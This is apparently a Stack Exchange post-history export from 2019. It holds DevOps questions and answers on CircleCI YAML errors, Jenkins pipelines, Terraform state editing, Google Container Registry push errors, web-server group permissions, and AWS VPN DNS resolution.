  <row Id="24542" PostHistoryTypeId="5" PostId="8168" RevisionGUID="e21fb0e5-2ada-4fa2-92da-4a618f27bead" CreationDate="2019-06-18T03:46:56.133" UserId="40" Comment="deleted 17 characters in body" Text="Every few hours, my Laravel website on AWS Elastic Beanstalk crashes and throws the following error:&#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:13.436195 2019] [php7:error] [pid 3431] [client]&#xD;&#xA;       PHP Fatal error:  require(): Failed opening required &#xD;&#xA;       '/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php'&#xD;&#xA;       (include_path='.:/usr/share/pear7:/usr/share/php') in &#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:31.485081 2019] [php7:warn] [pid 3459] [client] PHP&#xD;&#xA;       Warning: &#xD;&#xA;       require(/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php):&#xD;&#xA;       failed to open stream: No such file or directory in&#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;In-order to fix the error, I either go to `/var/www/html` or `/var/app/current` and use `composer.phar install` to fix the packages installed.&#xD;&#xA;&#xD;&#xA;Unfortunately, this doesn't cut it. Once I fix the issue, it breaks again a few hours later with the same errors. I tried to fix the packages associated with the deployed zip file. But that's to no avail either.&#xD;&#xA;&#xD;&#xA;Is there something I'm misunderstanding about the AWS architecture? I'm new to AWS, any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24546" PostHistoryTypeId="2" PostId="8415" RevisionGUID="4a05270b-92fa-4bf4-b8ce-b0841a811ef4" CreationDate="2019-06-18T07:02:59.083" UserId="12009" Text="I am using jenkins pipeline job with parameters. when i had any trailing spaces in parameter value the job gets failed. is there any way to trim the spaces in pipeline job to avoid build failure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24547" PostHistoryTypeId="1" PostId="8415" RevisionGUID="4a05270b-92fa-4bf4-b8ce-b0841a811ef4" CreationDate="2019-06-18T07:02:59.083" UserId="12009" Text="How to trim spaces for parameter value in jenkins pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24548" PostHistoryTypeId="3" PostId="8415" RevisionGUID="4a05270b-92fa-4bf4-b8ce-b0841a811ef4" CreationDate="2019-06-18T07:02:59.083" UserId="12009" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24549" PostHistoryTypeId="2" PostId="8416" RevisionGUID="524228b3-a7ee-4ae0-baba-35282f83c211" CreationDate="2019-06-18T09:10:31.030" UserId="165" Text="Good morning. I'm migrating from Gitlab to CircleCI and try to map out a simple pipeline (&quot;workflow&quot;) that basically should look like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[build] -&gt; [tests] -&gt; [release*]&#xD;&#xA;* only on tags&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I wasted endless hours literally copy-pasting example configs from the documentation. I defined three jobs:&#xD;&#xA;&#xD;&#xA;1. build&#xD;&#xA;2. tests&#xD;&#xA;3. release&#xD;&#xA;&#xD;&#xA;And I created a minimal workflow that just echos the job title, includes some requires (to map the pipeline) and have a condition that only triggers releases on tags.&#xD;&#xA;&#xD;&#xA;However, I always get a YAML parsing error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/sh -eo pipefail&#xD;&#xA;# Unable to parse YAML&#xD;&#xA;# mapping values are not allowed here&#xD;&#xA;#  in 'string', line 25, column 19:&#xD;&#xA;#               requires:&#xD;&#xA;#                       ^&#xD;&#xA;# &#xD;&#xA;# -------&#xD;&#xA;# Warning: This configuration was auto-generated to show you the message above.&#xD;&#xA;# Don't rerun this job. Rerunning will have no effect.&#xD;&#xA;false&#xD;&#xA;&#xD;&#xA;Exited with code 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is my `config.yaml` that currently fails:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version: 2&#xD;&#xA;jobs:&#xD;&#xA;  build:&#xD;&#xA;    steps:&#xD;&#xA;      - run:&#xD;&#xA;          name: Compile Binaries&#xD;&#xA;          command: echo &quot;Compile Binaries&quot;&#xD;&#xA;  tests:&#xD;&#xA;    steps:&#xD;&#xA;      - run:&#xD;&#xA;          name: Run All Tests&#xD;&#xA;          command: echo &quot;Run All Tests&quot;&#xD;&#xA;  build:&#xD;&#xA;    steps:&#xD;&#xA;      - run:&#xD;&#xA;          name: Release Artifacts&#xD;&#xA;          command: echo &quot;Release Artifacts&quot;&#xD;&#xA;&#xD;&#xA;workflows:&#xD;&#xA;  version: 2&#xD;&#xA;  minimal:&#xD;&#xA;    jobs:&#xD;&#xA;      - build&#xD;&#xA;      - tests&#xD;&#xA;          requires:&#xD;&#xA;            - build&#xD;&#xA;      - release&#xD;&#xA;          requires:&#xD;&#xA;            - tests&#xD;&#xA;          filters:&#xD;&#xA;            tags:&#xD;&#xA;              only: /^v.*$/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I also tried online YAML validators but they always say this is valid YAML, so something is wrong with the way Circle expects the config to be. What could it be?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Edit: I managed to even minify the example that causes the exact same error:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;jobs:&#xD;&#xA;  build:&#xD;&#xA;    steps:&#xD;&#xA;      - run:&#xD;&#xA;          name: Release Artifacts&#xD;&#xA;          command: echo &quot;Release Artifacts&quot;&#xD;&#xA;&#xD;&#xA;workflows:&#xD;&#xA;  minimal:&#xD;&#xA;    jobs:&#xD;&#xA;      - release&#xD;&#xA;          filters:&#xD;&#xA;            tags:&#xD;&#xA;              only: /^v.*$/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Causes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/sh -eo pipefail&#xD;&#xA;# Unable to parse YAML&#xD;&#xA;# mapping values are not allowed here&#xD;&#xA;#  in 'string', line 12, column 18:&#xD;&#xA;#               filters:&#xD;&#xA;#                      ^&#xD;&#xA;# &#xD;&#xA;# -------&#xD;&#xA;# Warning: This configuration was auto-generated to show you the message above.&#xD;&#xA;# Don't rerun this job. Rerunning will have no effect.&#xD;&#xA;false&#xD;&#xA;&#xD;&#xA;Exited with code 1&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24550" PostHistoryTypeId="1" PostId="8416" RevisionGUID="524228b3-a7ee-4ae0-baba-35282f83c211" CreationDate="2019-06-18T09:10:31.030" UserId="165" Text="Unable to parse YAML: mapping values are not allowed here" ContentLicense="CC BY-SA 4.0" />
  <row Id="24551" PostHistoryTypeId="3" PostId="8416" RevisionGUID="524228b3-a7ee-4ae0-baba-35282f83c211" CreationDate="2019-06-18T09:10:31.030" UserId="165" Text="&lt;continuous-integration&gt;&lt;configuration&gt;&lt;yaml&gt;&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24555" PostHistoryTypeId="50" PostId="6033" RevisionGUID="7eba1676-e15c-4961-884a-14def095ce3b" CreationDate="2019-06-18T10:03:25.407" UserId="-1" />
  <row Id="24556" PostHistoryTypeId="2" PostId="8418" RevisionGUID="5e0cef3c-c6de-4d2d-a90c-d64df0542e2b" CreationDate="2019-06-18T14:20:01.370" UserId="13111" Text="You simply have an incorrect [yaml syntax](https://learnxinyminutes.com/docs/yaml/) in your `workflows` `jobs` list.&#xD;&#xA;&#xD;&#xA;From what I could very quickly understand on [circleCI's documentation](https://circleci.com/docs/2.0/configuration-reference/#jobs-1), jobs names are accepted as a shorthand if you don't define any parameters. If you have parameters, the list element is a hashmap with top element being the job name. In your specific case, this should give (note the column after the names of jobs with params):&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;workflows:&#xD;&#xA;  version: 2&#xD;&#xA;  minimal:&#xD;&#xA;    jobs:&#xD;&#xA;      - build&#xD;&#xA;      - tests:&#xD;&#xA;          requires:&#xD;&#xA;            - build&#xD;&#xA;      - release:&#xD;&#xA;          requires:&#xD;&#xA;            - tests&#xD;&#xA;          filters:&#xD;&#xA;            tags:&#xD;&#xA;              only: /^v.*$/&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24557" PostHistoryTypeId="2" PostId="8419" RevisionGUID="de7515d2-560f-4635-a5b3-9507b2c16acb" CreationDate="2019-06-18T14:31:50.233" UserId="15406" Text="Yes, full cloning of LFS files can be restricted!  By default, GitLab will clone your repo into the CI/CD build directory.  To limit the clone from downloading the LFS files, tell it not to do it.  You do this by setting a variable in `.gitlab-ci.yml` like this.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# Other declarations etc above the specific job&#xD;&#xA;jobname:&#xD;&#xA;  variables:&#xD;&#xA;    GIT_LFS_SKIP_SMUDGE: 1&#xD;&#xA;# More job declarations, etc.&#xD;&#xA;```&#xD;&#xA;The &quot;smudge&quot; process replaces the link/pointers to the LFS files with the actual files.  By telling GitLab's CI job to skip the smudge, the LFS files aren't downloaded.&#xD;&#xA;&#xD;&#xA;Placing `GIT_LFS_SKIP_SMUDGE: 1` in a variables section at the top may make it apply to all of the defined jobs.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24562" PostHistoryTypeId="2" PostId="8421" RevisionGUID="13ffdcd7-d875-4717-a51f-31a56fcd4c27" CreationDate="2019-06-18T16:59:22.197" UserId="15301" Text="A co-worker ended up taking over deploying this a few days ago and managed to get it working. I'm not certain what he did differently, but I know discovered very similar issues I was facing with other Helm charts boiled down to the database they depended on not deploying properly which caused the other components to fail during initialization.&#xD;&#xA;&#xD;&#xA;Database issues were different between the other services I was deploying, but one was rejecting the mounting of a root NFS share. The other appeared to have a mismatch between the base-chart and its packaged-in database chart where the database name and password configuration names were different. Anchore's database was likely failing due to the root-NFS share issue, which then cascaded to other components." ContentLicense="CC BY-SA 4.0" />
  <row Id="24575" PostHistoryTypeId="4" PostId="6478" RevisionGUID="22dbcbfc-8706-497d-9a39-026c1d127569" CreationDate="2019-06-19T08:02:24.960" UserId="11474" Comment="edited title" Text="kubernetes - load balancing where ressources are available" ContentLicense="CC BY-SA 4.0" />
  <row Id="24576" PostHistoryTypeId="2" PostId="8425" RevisionGUID="961cdb67-f5e7-405b-877b-91b504586771" CreationDate="2019-06-19T08:57:43.213" UserId="15529" Text="Currently I have Jenkins installed on Windows Server as a Service but I am looking at installing Jenkins on Azure but the MSDN docs talk about creating a Jenkins server on an Azure Linux VM from the Azure portal, outlined in the following link:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/jenkins/install-jenkins-solution-template.&#xD;&#xA;&#xD;&#xA;Is this the only way or can I install it on a Windows VM and run it as if it was installed on a local Windows machine ?&#xD;&#xA;Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24577" PostHistoryTypeId="1" PostId="8425" RevisionGUID="961cdb67-f5e7-405b-877b-91b504586771" CreationDate="2019-06-19T08:57:43.213" UserId="15529" Text="How can I install Jenkins on Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24578" PostHistoryTypeId="3" PostId="8425" RevisionGUID="961cdb67-f5e7-405b-877b-91b504586771" CreationDate="2019-06-19T08:57:43.213" UserId="15529" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24579" PostHistoryTypeId="2" PostId="8426" RevisionGUID="dfcdd62f-7483-4bb2-9762-df0c860b39e2" CreationDate="2019-06-19T16:41:19.100" UserId="3" Text="The workaround is to pull the current state file, edit it and use it as a base line. For example:&#xD;&#xA;&#xD;&#xA;    $ terraform state pull &gt; terraform.tfstate&#xD;&#xA;    $ vim terraform.tfstate # Carefully remove invalid entries.&#xD;&#xA;    $ python -mjson.tool terraform.tfstate # Validate JSON.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Note: In Vim, placing cursor on the opening bracket, hitting &lt;kbd&gt;d%&lt;/kbd&gt; will remove the whole group.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Then plan and apply:&#xD;&#xA;&#xD;&#xA;    $ terraform plan -state=terraform.tfstate -refresh=false&#xD;&#xA;    $ terraform apply -state=terraform.tfstate -refresh=false&#xD;&#xA;&#xD;&#xA;If that worked, push your state file into repository:&#xD;&#xA;&#xD;&#xA;    terraform state push terraform.tfstate&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;For Azure, it's better to use [`terraform-provider-azurerm`](https://github.com/terraform-providers/terraform-provider-azurerm) instead of general DNS provider ([`terraform-provider-dns`](https://github.com/terraform-providers/terraform-provider-dns))." ContentLicense="CC BY-SA 4.0" />
  <row Id="24580" PostHistoryTypeId="5" PostId="8426" RevisionGUID="66f2c4d3-85b4-40f2-9710-d54362e0c66a" CreationDate="2019-06-19T16:52:43.517" UserId="3" Comment="added 8 characters in body" Text="The workaround is to pull the current state file, edit it and use it as a base line. For example:&#xD;&#xA;&#xD;&#xA;    $ terraform state pull &gt; terraform.tfstate&#xD;&#xA;    $ vim terraform.tfstate # Carefully remove invalid entries.&#xD;&#xA;    $ python -mjson.tool terraform.tfstate # Validate JSON.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Note: In Vim, placing cursor on the opening bracket, hitting &lt;kbd&gt;d%&lt;/kbd&gt; will remove the whole group.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Then plan and apply:&#xD;&#xA;&#xD;&#xA;    $ terraform plan -state=terraform.tfstate -refresh=false&#xD;&#xA;    $ terraform apply -state=terraform.tfstate -refresh=false&#xD;&#xA;&#xD;&#xA;If that worked, push your local state file into remote state:&#xD;&#xA;&#xD;&#xA;    terraform state push terraform.tfstate&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;For Azure, it's better to use [`terraform-provider-azurerm`](https://github.com/terraform-providers/terraform-provider-azurerm) instead of general DNS provider ([`terraform-provider-dns`](https://github.com/terraform-providers/terraform-provider-dns))." ContentLicense="CC BY-SA 4.0" />
  <row Id="24581" PostHistoryTypeId="5" PostId="8426" RevisionGUID="3c7a42f9-43f1-4931-b749-6f96bb51b360" CreationDate="2019-06-19T17:03:11.150" UserId="3" Comment="added 165 characters in body" Text="The workaround is to pull the current state file, edit it and use it as a base line. For example:&#xD;&#xA;&#xD;&#xA;    $ terraform state pull &gt; terraform.tfstate&#xD;&#xA;    $ vim terraform.tfstate # Carefully remove invalid entries.&#xD;&#xA;    $ python -mjson.tool terraform.tfstate # Validate JSON.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Note: In Vim, placing cursor on the opening bracket, hitting &lt;kbd&gt;d%&lt;/kbd&gt; will remove the whole group.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Then plan and apply:&#xD;&#xA;&#xD;&#xA;    $ terraform plan -state=terraform.tfstate -refresh=false&#xD;&#xA;    $ terraform apply -state=terraform.tfstate -refresh=false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Alternatively, pull, edit and push your local state file into remote state:&#xD;&#xA;&#xD;&#xA;    $ terraform state pull &gt; terraform.tfstate&#xD;&#xA;    $ vim terraform.tfstate # Remove invalid entries and increase the serial value.&#xD;&#xA;    $ terraform state push terraform.tfstate&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;For Azure, it's better to use [`terraform-provider-azurerm`](https://github.com/terraform-providers/terraform-provider-azurerm) instead of general DNS provider ([`terraform-provider-dns`](https://github.com/terraform-providers/terraform-provider-dns))." ContentLicense="CC BY-SA 4.0" />
  <row Id="24582" PostHistoryTypeId="2" PostId="8427" RevisionGUID="c84ab4fa-68bb-44b0-8caa-88111645b31b" CreationDate="2019-06-19T17:54:14.300" UserId="4115" Text="Use the Groovy `trim()` method.  For instance, `def myTrimmedParam = params.myParam.trim()`." ContentLicense="CC BY-SA 4.0" />
  <row Id="24583" PostHistoryTypeId="2" PostId="8428" RevisionGUID="47cd684e-b4cf-4455-91a7-6e655edafc9d" CreationDate="2019-06-19T18:35:02.973" UserId="293" Text="If I understand your question correctly then yes, you can create a windows VM in azure and install jenkins on it the same way as on a local machine. &#xA;&#xA;They're might be some differences in the configuration of the environment for example about security, user access, routing etc " ContentLicense="CC BY-SA 4.0" />
  <row Id="24587" PostHistoryTypeId="2" PostId="8430" RevisionGUID="3ea5b8a3-240a-4e3f-91b0-e6decb4a8fee" CreationDate="2019-06-20T00:27:56.283" UserId="15548" Text="So I'm trying to push my docker image to gcr.io/docker-url, but it's not working. I've tried the documentation that Google has, but that's still failed (https://cloud.google.com/container-registry/docs/advanced-authentication#standalone_docker_credential_helper). I also tried:&#xD;&#xA;&#xD;&#xA;    docker login gcr.io &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    docker login us.gcr.io&#xD;&#xA;&#xD;&#xA;Here's the command I run and my error:&#xD;&#xA;&#xD;&#xA;    docker push gcr.io/docker-url/jenkins/container&#xD;&#xA;    The push refers to repository [gcr.io/docker-url/jenkins/container]&#xD;&#xA;    d7ab52d2e8be: Pushing [==================================================&gt;]   2.56kB&#xD;&#xA;    fae569eb21a4: Pushing  1.536kB&#xD;&#xA;    7a20d9096c74: Pushing [====&gt;                                              ]  735.7kB/7.854MB&#xD;&#xA;    a26d457fd72d: Pushing [&gt;                                                  ]  60.93kB/6.055MB&#xD;&#xA;    36f2fac55108: Pushing [&gt;                                                  ]  502.8kB/49.16MB&#xD;&#xA;    4cd936335289: Waiting &#xD;&#xA;    f1b5933fe4b5: Waiting &#xD;&#xA;    denied: Access denied.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For reference, I used the json file to login. I even tried all of the StackOverflow answers I could find, but no luck there, either." ContentLicense="CC BY-SA 4.0" />
  <row Id="24588" PostHistoryTypeId="1" PostId="8430" RevisionGUID="3ea5b8a3-240a-4e3f-91b0-e6decb4a8fee" CreationDate="2019-06-20T00:27:56.283" UserId="15548" Text="GCR giving 'Access Denied' when trying to push Docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="24589" PostHistoryTypeId="3" PostId="8430" RevisionGUID="3ea5b8a3-240a-4e3f-91b0-e6decb4a8fee" CreationDate="2019-06-20T00:27:56.283" UserId="15548" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24590" PostHistoryTypeId="4" PostId="8430" RevisionGUID="d3e779c4-1e73-4dc7-89eb-f149c77ecc26" CreationDate="2019-06-20T02:27:20.733" UserId="15548" Comment="edited title" Text="Google Container Registry giving 'Access Denied' when trying to push Docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="24591" PostHistoryTypeId="50" PostId="8162" RevisionGUID="6309c6f3-42cb-414b-971c-ab44a796a693" CreationDate="2019-06-20T03:04:30.487" UserId="-1" />
  <row Id="24592" PostHistoryTypeId="2" PostId="8431" RevisionGUID="96ce955b-6c70-4179-b102-8b11e9c0991c" CreationDate="2019-06-20T03:06:37.570" UserId="9148" Text="Running your `config.yml` through [yamllint](https://github.com/adrienverge/yamllint), produced the following:&#xD;&#xA;&#xD;&#xA;      1:1       warning  missing document start &quot;---&quot;  (document-start)&#xD;&#xA;      13:3      error    duplication of key &quot;build&quot; in mapping  (key-duplicates)&#xD;&#xA;      25:19     error    syntax error: mapping values are not allowed here&#xD;&#xA;&#xD;&#xA;When I add colons to the entry on lines 25 and 28: &#xD;&#xA;&#xD;&#xA;    workflows:&#xD;&#xA;      version: 2&#xD;&#xA;      minimal:&#xD;&#xA;        jobs:&#xD;&#xA;          - build&#xD;&#xA;          - tests:&#xD;&#xA;              requires:&#xD;&#xA;                - build&#xD;&#xA;          - release:&#xD;&#xA;              requires:&#xD;&#xA;                - tests&#xD;&#xA;              filters:&#xD;&#xA;                tags:&#xD;&#xA;                  only: /^v.*$/&#xD;&#xA;&#xD;&#xA;...the syntax error is no longer reported:&#xD;&#xA;&#xD;&#xA;    1:1       warning  missing document start &quot;---&quot;  (document-start)  &#xD;&#xA;    13:3      error    duplication of key &quot;build&quot; in mapping (key-duplicates)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24593" PostHistoryTypeId="2" PostId="8432" RevisionGUID="d4f4b19a-a0f8-4c60-9e98-a77fdc89a48b" CreationDate="2019-06-20T03:12:48.343" UserId="9148" Text="I think [this link](https://community.atlassian.com/t5/Marketplace-Apps-Integrations/Change-Epic-status-based-on-some-or-all-linked-issues-statuses/qaq-p/655436) on the Atlassian Community forum may be what you're trying to do." ContentLicense="CC BY-SA 4.0" />
  <row Id="24594" PostHistoryTypeId="2" PostId="8433" RevisionGUID="d2280892-517f-408e-a44c-2a61df68a98a" CreationDate="2019-06-20T03:43:37.010" UserId="9148" Text="According to the [Nginx docs](https://nginx.org/en/docs/ngx_core_module.html#user) you can configure the user which runs Nginx. By default the user is `nobody`.&#xD;&#xA;&#xD;&#xA;You can read [this](https://askubuntu.com/questions/97810/how-to-make-apache-run-as-current-user) Ask Ubuntu question that explains how to configure Apache2 to run as a different user. The default user running Apache2 is `www-data`.&#xD;&#xA;&#xD;&#xA;A common strategy, and one I think may work for your goal, is to assign the users that need to deploy the application to a common group. For instance, if you added them to the `www-data` group:&#xD;&#xA;&#xD;&#xA;    sudo adduser &lt;user&gt; www-data&#xD;&#xA;&#xD;&#xA;You can see which groups is a member of with:&#xD;&#xA;&#xD;&#xA;    groups &lt;user&gt;&#xD;&#xA;&#xD;&#xA;Then change the group of the directory where users will run `migrate.php`:&#xD;&#xA;&#xD;&#xA;    sudo chgrp -R www-data /var/www/demoapp&#xD;&#xA;&#xD;&#xA;Then assign the group read/write/execute permissions to the directory:&#xD;&#xA;&#xD;&#xA;    sudo chmod -R g+rwx /var/www/demoapp/&#xD;&#xA;&#xD;&#xA;The users in this group should now be able to write and run scripts within the `demoapp/` directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="24595" PostHistoryTypeId="2" PostId="8434" RevisionGUID="5355d2b0-2e33-42bc-afbd-f236560549f1" CreationDate="2019-06-20T04:00:31.173" UserId="9148" Text="You can use the Jenkins provided step [dir()](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#dir-change-current-directory) which changes the directory to one relative to the Jenkins `env.WORKSPACE` (`/var/lib/jenkins/workspace/JOB_NAME` by default).&#xD;&#xA;&#xD;&#xA;    stage('Build') { &#xD;&#xA;        steps {&#xD;&#xA;            dir('path/to/dir') {&#xD;&#xA;                // do stuff&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            dir('path/to/other/dir') {&#xD;&#xA;                // do other stuff&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24596" PostHistoryTypeId="50" PostId="8167" RevisionGUID="a55bc8ab-31ed-43dc-b6c8-7d7703a983a7" CreationDate="2019-06-20T04:05:36.733" UserId="-1" />
  <row Id="24597" PostHistoryTypeId="50" PostId="8138" RevisionGUID="f65f780e-16c2-4a6a-bb2a-ed1d35e6df7e" CreationDate="2019-06-20T06:01:05.083" UserId="-1" />
  <row Id="24598" PostHistoryTypeId="5" PostId="8393" RevisionGUID="459924f3-8f75-4f52-9c02-d465c2b5d2fd" CreationDate="2019-06-20T06:49:09.967" UserId="4852" Comment="improve answer" Text="There is no equivalent. However you can define a function in your pipeline and call it in the begining of each stage. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any &#xD;&#xA;    stages {&#xD;&#xA;        stage('Build') { &#xD;&#xA;            steps {&#xD;&#xA;                cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Test') { &#xD;&#xA;            steps {&#xA;                 cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy') { &#xD;&#xA;            steps {&#xA;                 cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def cd() {&#xD;&#xA;   //your code&#xD;&#xA;}&#xA;```&#xA;&#xA;When you want to use your function in other pipelines as well you might want to look into [shared libraries][1]&#xA;&#xA;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24599" PostHistoryTypeId="5" PostId="8393" RevisionGUID="caf3b96d-9b8f-4ca1-9e09-a05916369b70" CreationDate="2019-06-20T07:00:11.967" UserId="4852" Comment="added 20 characters in body; edited body" Text="There is no equivalent for `before_script`. However you can define a function in your pipeline and call it in the begining of each stage. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any &#xD;&#xA;    stages {&#xD;&#xA;        stage('Build') { &#xD;&#xA;            steps {&#xD;&#xA;                cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Test') { &#xD;&#xA;            steps {&#xA;                 cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy') { &#xD;&#xA;            steps {&#xA;                 cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def cd() {&#xD;&#xA;   //your code&#xD;&#xA;}&#xA;```&#xA;&#xA;When you want to use your function in other pipelines as well you might want to look into [shared libraries][1]&#xA;&#xA;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24603" PostHistoryTypeId="2" PostId="8436" RevisionGUID="1130460c-a102-4a49-991b-d38eac80785d" CreationDate="2019-06-20T07:25:37.947" UserId="5251" Text="Currently I have an AWS VPC connected to our corporate network using AWS Site-to-Site VPN.&#xD;&#xA;&#xD;&#xA;I can reach my EC2 instances trough the tunnel by their private IP Address.&#xD;&#xA;&#xD;&#xA;Inside the VPC each EC2 instance can resolve private DNS hostnames `ip-private-ipv4-address.region.compute.internal` using the provided Amazon DNS server (reachable at IP address `VPN-CIDR` +2)&#xD;&#xA;&#xD;&#xA;Is it possible to query Amazon DNS server from our corporate network trough the VPN tunnel?&#xD;&#xA;&#xD;&#xA;The goal I want to achieve is the possibility to reach EC2 instances through VPN using a DNS name without create each time a record in our DNS.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24604" PostHistoryTypeId="1" PostId="8436" RevisionGUID="1130460c-a102-4a49-991b-d38eac80785d" CreationDate="2019-06-20T07:25:37.947" UserId="5251" Text="Using Amazon VPC provided DNS trough AWS Site-to-Site VPN" ContentLicense="CC BY-SA 4.0" />
  <row Id="24605" PostHistoryTypeId="3" PostId="8436" RevisionGUID="1130460c-a102-4a49-991b-d38eac80785d" CreationDate="2019-06-20T07:25:37.947" UserId="5251" Text="&lt;amazon-web-services&gt;&lt;dns&gt;&lt;aws-vpc&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24606" PostHistoryTypeId="2" PostId="8437" RevisionGUID="8bdddb55-54e6-47dc-a510-2c94f8855c4b" CreationDate="2019-06-20T09:05:35.377" UserId="11598" Text="You can achieve this using Git and Jenkins job. Create a Jenkins Job to deploy your code to server and Setup Git webhook to Call Jenkins job. &#xD;&#xA;&#xD;&#xA;Check this link: https://www.serverkaka.com/2019/02/configure-github-webhook-in-jenkins-job-pipeline.html&#xD;&#xA; &#xD;&#xA;&gt;OR&#xD;&#xA;&#xD;&#xA;1. Create an empty Git repo on the server&#xD;&#xA;&#xD;&#xA;2. Write a Git Hook to deploy the code&#xD;&#xA;&#xD;&#xA;3. Deploy from the local computer&#xD;&#xA;&#xD;&#xA;Check this link: https://medium.com/@francoisromain/vps-deploy-with-git-fea605f1303b&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24607" PostHistoryTypeId="2" PostId="8438" RevisionGUID="95428c7a-7468-4b57-b30f-0469c6e5c281" CreationDate="2019-06-20T09:21:56.187" UserId="11598" Text="This article very clearly explains how to deploy a nodejs app using Jenkins:&#xD;&#xA;&#xD;&#xA;https://blog.couchbase.com/create-continuous-deployment-pipeline-nodejs-jenkins/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24619" PostHistoryTypeId="2" PostId="8442" RevisionGUID="0099fad3-1b0b-4dc9-87a2-35c68d68d477" CreationDate="2019-06-20T21:28:48.770" UserId="4369" Text="&gt;Is it possible to query Amazon DNS server from our corporate network trough the VPN tunnel?&#xD;&#xA;&#xD;&#xA;Directly? No. The recursive resolver available by default when you create a VPC can only be accessed by an IP address in that VPC. This is a restriction that Amazon imposes.&#xD;&#xA;&#xD;&#xA;What you can do is create a forwarder using the [Route 53 Resolver service](https://aws.amazon.com/blogs/aws/new-amazon-route-53-resolver-for-hybrid-clouds/) or software like [Unbound](https://nlnetlabs.nl/projects/unbound/about/). You can then (conditionally) forward your onprem DNS for certain domains to it.&#xD;&#xA;&#xD;&#xA;Some useful links:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html#AmazonDNS&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/vpc/latest/userguide/vpc-dns.html#vpc-dns-support&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resolver.html" ContentLicense="CC BY-SA 4.0" />
